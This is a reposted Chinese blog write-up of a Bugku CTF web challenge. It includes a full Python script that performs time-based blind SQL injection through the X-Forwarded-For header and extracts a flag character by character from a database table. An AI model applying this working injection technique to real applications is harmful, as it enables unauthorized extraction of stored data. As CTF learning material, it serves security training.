zoukankan      html  css  js  c++  java
  • bugku_web_INSERT INTO 注入

    首先一打开就能看到源码,放到notepad++里面审计一下:

    大概懂了这段代码的意思:获取你的ip,然后把你的ip插入到client_ip表中的ip列中去。

    接下来就是将注入命令不停地赋值给“ip地址”,

    然后来猜测flag表里的flag列的值//这就算是出题人和做题人之间的一种默契啦。

    # -*- coding:utf-8 -*-
    import requests
    import sys
    
    sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
    url = 'http://120.24.86.145:8002/web15/'
    flag = ''
    for i in range(1,50):
        # 怀疑flag有40个那么长,所以以40为长度进行猜测
        print('正在猜测:',str(i))
        # 把i变成字符串格式输出出来
        for ch in range(32,129):
            # 遍历整个acsii码表
            if ch == 128:
                sys.exit(0)
                # 如果都跑都这儿了,说明有问题了,程序退出
            sqli = sql.format(i,chr(ch))
            # format是格式化输出语句,i给到sql语句的{0}位置,chr(ch)给到{1}的位置。(chr()的作用是根据acsii码值返回对应的字符)
            # print(sqli)
            header = {
                'X-Forwarded-For':sqli
                # 每次去伪造不同的ip(注入命令)嘛
            }
            try:
                html = requests.get(url, headers=header, timeout=3)
            # 大部分的情况肯定是猜错了,如果错了(等待超过三秒),那就继续循环;
            # 如果对了(对脚本来说属于异常),那就跳到异常
            except:
                flag += chr(ch)
                print(flag)
                break
    

      最后得到flag

  • 相关阅读:
    redis 5.0.5集群部署
    python 继承、多继承与方法重写(二)
    python 脚本监控硬件磁盘状态并发送报警邮件
    k8s 应用程序获取真实来源ip
    yolov5 安装尝试
    安装pygrib
    ubuntu编译ecodes
    python mpi实验
    mint install gaussian 16
    flask 使用工程外的static文件位置
  • 原文地址:https://www.cnblogs.com/huangming-zzz/p/9735040.html
Copyright © 2011-2022 走看看